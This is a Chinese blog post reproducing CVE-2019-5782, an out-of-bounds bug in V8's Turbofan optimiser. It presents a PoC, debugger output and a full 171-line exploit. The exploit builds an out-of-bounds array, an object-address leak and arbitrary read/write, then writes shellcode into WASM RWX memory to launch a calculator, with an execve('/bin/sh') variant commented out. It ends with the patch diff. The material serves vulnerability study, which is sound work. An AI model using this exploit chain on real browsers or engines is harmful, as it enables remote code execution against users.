CVE-2019-5782 v8数组越界 漏洞复现

本篇博文对CVE-2019-5782漏洞进行了简单的POC分析及EXP编写。这是2018年天府杯,360的招啓汛大神用到的一个V8引擎数组越界漏洞。这个漏洞比较强大,利用上比较容易,EXP的编写和其他之前做过的v8数组越界的利用基本上没什么变化。

bug详情:

Issue 906043: Security: Tianfu CUP RCE

https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04

调试准备

切换到漏洞版本:

1
2
3
4
git reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug/

POC

官方测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
assertEquals(16, a2.length);
for (let i = 8; i < 32; i++) {
assertEquals(undefined, a2[i]);
}

实际调试中,我发现有一点点不必要的操作可省去。。方便抓住关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
console.log(a2.length); //42
for (let i = 0; i < 32; i++) {
console.log(a2[i]);
}

带上--allow-natives-syntax运行POC。可以看到,a2数组的长度,从一开始定义的16变成了42,而且从a2[16]开始的值,都不是undefined,因此,很显然出现了数组越界的情况。

在debug版中%DebugPrint(a2)会出错崩溃,因此在release版本中进行调试:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> telescope 0x086345e056d0
00:0000│ 0x86345e056d0 —▸ 0xf4d71282f29 ◂— 0x4000015cbe08001
01:0008│ 0x86345e056d8 —▸ 0x15cbe0800c21 ◂— 0x15cbe08007
02:0010│ 0x86345e056e0 —▸ 0x86345e05641 ◂— 0x15cbe08014
03:0018│ 0x86345e056e8 ◂— 0x2a00000000
04:0020│ 0x86345e056f0 ◂— 0x0
... ↓
pwndbg> telescope 0x86345e05640
00:0000│ 0x86345e05640 —▸ 0x15cbe0801459 ◂— 0x15cbe08001
01:0008│ 0x86345e05648 ◂— 0xffff00000000
02:0010│ 0x86345e05650 ◂— 0x3ff199999999999a
03:0018│ 0x86345e05658 ◂— 0xfff7fffffff7ffff

可以看到,Array中存储的length-42和elements数组中存储的length-65535,正好和POC中fun函数中的最后两次赋值对应上了。

%OptimizeFunctionOnNextCall(fun)前后输出a2.length就会发现,在%OptimizeFunctionOnNextCall(fun)之后,对fun函数的调用后,导致了这一结果。%OptimizeFunctionOnNextCall()是v8的内部指令,它告诉v8当下次调用这个函数的时候,需要调用Turbofan对指定函数进行优化。显然,漏洞出现在函数优化的过程中。

进一步观察POC和现象,发现,导致a2长度异常的两次赋值,都是通过a1进行的赋值,而且赋值索引显然是越界了。release版中查看一下a1和a2数组:

如上图可以看到,a2的length和a2.elements中的length,根据偏移计算,正好是a1[21]和a1[41],而我也尝试将fun函数中对a1越界赋值代码中的x>>16删去,则对a1的越界赋值不会成功。

因此,可以对以上结果作总结:在对fun函数的优化过程中存在漏洞,导致了可以对a1数组进行越界写,从而可以将内存中紧跟在a1.elements后的a2数组做任意的覆写(POC中对length进行了修改)。

漏洞利用

由于可以对a2数组的length做任意值的写,可以数组越界很大的范围。因此这个漏洞利用起来不难。

我这里的利用思路是:

1
数组越界 -> 类型混淆 -> 泄漏对象、任意地址读写 -> 利用WASM执行shellcode

定义类型转换工具函数

在V8中,number有两种形式,一种是float,一种是smi(small int),(还有比较新的bigint任意精度整数类型)。为方便使用,需要写一些方法用于转换数据类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*---------------------------datatype convert-------------------------*/
class typeConvert{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//convert float to int
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}

/*
convert int to float
if nead convert a 64bits int to float
please use string like "deadbeefdeadbeef"
(v8's SMI just use 56bits, lowest 8bits is zero as flag)
*/
i2f(val){
let vall = hex(val);
let tmp = [];
tmp[0] = vall.slice(10, );
tmp[1] = vall.slice(2, 10);
tmp[0] = parseInt(tmp[0], 16);
// console.log(hex(val));
tmp[1] = parseInt(tmp[1], 16);
this.u32.set(tmp);
return this.f64[0];
}
}
//convert number to hex string
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

var dt = new typeConvert();

获得越界数组

直接仿照POC中的做法,将a2数组的length置为0xffff即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*---------------------------get oob array-------------------------*/
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = [1.1];
a1[(x >> 16) * 26] = 1.39064994160909e-309; // 0xffff00000000
}

var a1, a2;
var a3 = new Array();
a3.length = 0x10000
fun(1);
fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
// now, I have an oobArray : a2

泄漏对象地址

我们可以定义如下一个对象,对象有两个属性,一个leak和一个tag属性。,其中,tag属性是我定义来确定偏移用的标志,只需要给leak属性赋值为目标对象,即可通过a2[offset]将该对象的地址作为float泄漏出来。

image-20200225162346992

image-20200225162539842

代码实现如下,我这里通过遍历a2数组,来寻找objLeak.leak的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*---------------------------leak object-------------------------*/
var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};
var objTest = {'a':'b'};

//search the objLeak.tag
for(let i=0; i<0xffff; i++){
if(dt.f2i(a2[i]) == 0xdead00000000){
offset1 = i-1; //a2[offset1] -> objLeak.leak
break;
}
}

function addressOf(target){
objLeak.leak = target;
let leak = dt.f2i(a2[offset1]);
return leak;
}

//test
console.log("address of objTest : " + hex(addressOf(objTest)));
%DebugPrint(objTest);

运行代码,结果如下,可见,成功实现了泄漏对象地址,当然了泄漏出来的值-1才是真正的地址。

image-20200225170816983

任意地址读写

我们可以在oobArray(a2)后面申请一个ArrayBuffer对象和一个普通的object对象objLeak。然后通过对a2的数组越界,将AarrayBuffer的backing store指针覆写,即可实现任意地址读写:

img

代码实现如下,我这里通过以0xbeef为大小申请ArrayBuffer,然后循环遍历a2数组寻找0xbeef这个值,从而确定ArrayBuffer.backing_store的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*---------------------------arbitrary read and write-------------------------*/
var buf = new ArrayBuffer(0xbeef);
var offset2;
var dtView = new DataView(buf);

//search the buf.size
for(let i=0; i<0xffff; i++){
if(dt.f2i(a2[i]) == 0xbeef){
offset2 = i+1; //a2[offset2] -> buf.backing_store
break;
}
}

function write64(addr, value){
a2[offset2] = dt.i2f(addr);
dtView.setFloat64(0, dt.i2f(value), true);
}

function read64(addr, str=false){
a2[offset2] = dt.i2f(addr);
let tmp = ['', ''];
let tmp2 = ['', ''];
let result = ''
tmp[1] = hex(dtView.getUint32(0)).slice(10,);
tmp[0] = hex(dtView.getUint32(4)).slice(10,);
for(let i=3; i>=0; i--){
tmp2[0] += tmp[0].slice(i*2, i*2+2);
tmp2[1] += tmp[1].slice(i*2, i*2+2);
}
result = tmp2[0]+tmp2[1]
if(str==true){return '0x'+result}
else {return parseInt(result, 16)};
}

//test
write64(addressOf(objTest)+0x18-1, 0xdeadbeef);
console.log('read in objTest+0x18 : ' + hex(read64(addressOf(objTest)+0x18-1)));
%DebugPrint(objTest);
%SystemBreak();

运行代码,结果如下,可见,成功将0xdeadbeef写入了objTest+0x18的位置,并且成功将它读了出来

image-20200225171718069

利用WASM执行shellcode

可以通过WASM,能得到一块RWX的内存,里面放着WASM的二进制代码,将shellcode写入到这块内存,再调用WASM接口时,就会执行Shellcode了。

首先要找到这块RWX内存,相关的数据结构根据版本不同可能不太一样。通过调试,我通过这个嵌套查找可以找到这块地址:

1
wasmInstance.exports.main -> shared_info -> data -> instance+0xe8

debug版运行以下测试代码,找一下这块RWX地址

1
2
3
4
5
6
7
8
9
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();

f+0x18找到f.shared_info

f.shared_info+0x8处找到f.shared_info.data

f.shared_info.data+0x10处找到f.shared_info.data.instance

最后,在f.shared_info.data.instance+0xe8处找到这块存放二进制代码的RWX地址:

因此,我们只需要通过刚才实现的泄漏对象地址、任意地址读写,将shellcode写入这块RWX地址,再调用这个WASM函数时,就可以执行shellcode了。

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
//CVE-2019-5782
//sunxiaokong

/*---------------------------datatype convert-------------------------*/
class typeConvert{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//convert float to int
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}

/*
convert int to float
if nead convert a 64bits int to float
please use string like "deadbeefdeadbeef"
(v8's SMI just use 56bits, lowest 8bits is zero as flag)
*/
i2f(val){
let vall = hex(val);
let tmp = [];
tmp[0] = vall.slice(10, );
tmp[1] = vall.slice(2, 10);
tmp[0] = parseInt(tmp[0], 16);
// console.log(hex(val));
tmp[1] = parseInt(tmp[1], 16);
this.u32.set(tmp);
return this.f64[0];
}
}
//convert number to hex string
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

var dt = new typeConvert();

/*---------------------------get oob array-------------------------*/
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = [1.1];
a1[(x >> 16) * 26] = 1.39064994160909e-309; // 0xffff00000000
}

var a1, a2;
var a3 = new Array();
a3.length = 0x10000
fun(1);
fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
// now, I have an oobArray : a2


/*---------------------------leak object-------------------------*/
var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};
var objTest = {'a':'b'};

//search the objLeak.tag
for(let i=0; i<0xffff; i++){
if(dt.f2i(a2[i]) == 0xdead00000000){
offset1 = i-1; //a2[offset1] -> objLeak.leak
break;
}
}

function addressOf(target){
objLeak.leak = target;
let leak = dt.f2i(a2[offset1]);
return leak;
}
// // test
// console.log("address of objTest : " + hex(addressOf(objTest)));
// %DebugPrint(objTest);


/*---------------------------arbitrary read and write-------------------------*/
var buf = new ArrayBuffer(0xbeef);
var offset2;
var dtView = new DataView(buf);

//search the buf.size
for(let i=0; i<0xffff; i++){
if(dt.f2i(a2[i]) == 0xbeef){
offset2 = i+1; //a2[offset2] -> buf.backing_store
break;
}
}

function write64(addr, value){
a2[offset2] = dt.i2f(addr);
dtView.setFloat64(0, dt.i2f(value), true);
}

function read64(addr, str=false){
a2[offset2] = dt.i2f(addr);
let tmp = ['', ''];
let tmp2 = ['', ''];
let result = ''
tmp[1] = hex(dtView.getUint32(0)).slice(10,);
tmp[0] = hex(dtView.getUint32(4)).slice(10,);
for(let i=3; i>=0; i--){
tmp2[0] += tmp[0].slice(i*2, i*2+2);
tmp2[1] += tmp[1].slice(i*2, i*2+2);
}
result = tmp2[0]+tmp2[1]
if(str==true){return '0x'+result}
else {return parseInt(result, 16)};
}
// //test
// write64(addressOf(objTest)+0x18-1, 0xdeadbeef);
// console.log('read in objTest+0x18 : ' + hex(read64(addressOf(objTest)+0x18-1)));
// %DebugPrint(objTest);
// %SystemBreak();


/*-------------------------use wasm to execute shellcode------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18-0x1);
var data = read64(sharedInfo+0x8-0x1);
var instance = read64(data+0x10-0x1);
var memoryRWX = (read64(instance+0xe8-0x1));
memoryRWX = Math.floor(memoryRWX);
console.log("[*] Get RWX memory : " + hex(memoryRWX));

// sys_execve('/bin/sh')
// var shellcode = [
// '2fbb485299583b6a',
// '5368732f6e69622f',
// '050f5e5457525f54'
// ];

// pop up a calculator
var shellcode = [
'636c6163782fb848',
'73752fb848500000',
'8948506e69622f72',
'89485750c03148e7',
'3ac0c748d23148e6',
'4944b84850000030',
'48503d59414c5053',
'485250c03148e289',
'00003bc0c748e289',
'050f00'
];

//write shellcode into RWX memory
var offsetMem = 0;
for(x of shellcode){
write64(memoryRWX+offsetMem, x);
offsetMem+=8;
}
//call funcAsm() and it would execute shellcode actually
funcAsm();

弹了个计算器

当然了也可以换个shellcode本地getshell:

漏洞成因分析

拿到官方的patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@
Type::Union(Type::SignedSmall(), Type::NaN(), zone());

// The valid number of arguments for JavaScript functions.
- Type const kArgumentsLengthType =
- Type::Range(0.0, Code::kMaxArguments, zone());
+ Type const kArgumentsLengthType = Type::Unsigned30();

// The JSArrayIterator::kind property always contains an integer in the
// range [0, 2], representing the possible IterationKinds.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/compiler/verifier.cc b/src/compiler/verifier.cc
index 0a9342e..9ea93da 100644
--- a/src/compiler/verifier.cc
+++ b/src/compiler/verifier.cc
@@ -1258,8 +1258,7 @@
break;
case IrOpcode::kNewArgumentsElements:
CheckValueInputIs(node, 0, Type::ExternalPointer());
- CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
- Code::kMaxArguments, zone));
+ CheckValueInputIs(node, 1, Type::Unsigned30());
CheckTypeIs(node, Type::OtherInternal());
break;
case IrOpcode::kNewConsString:
0%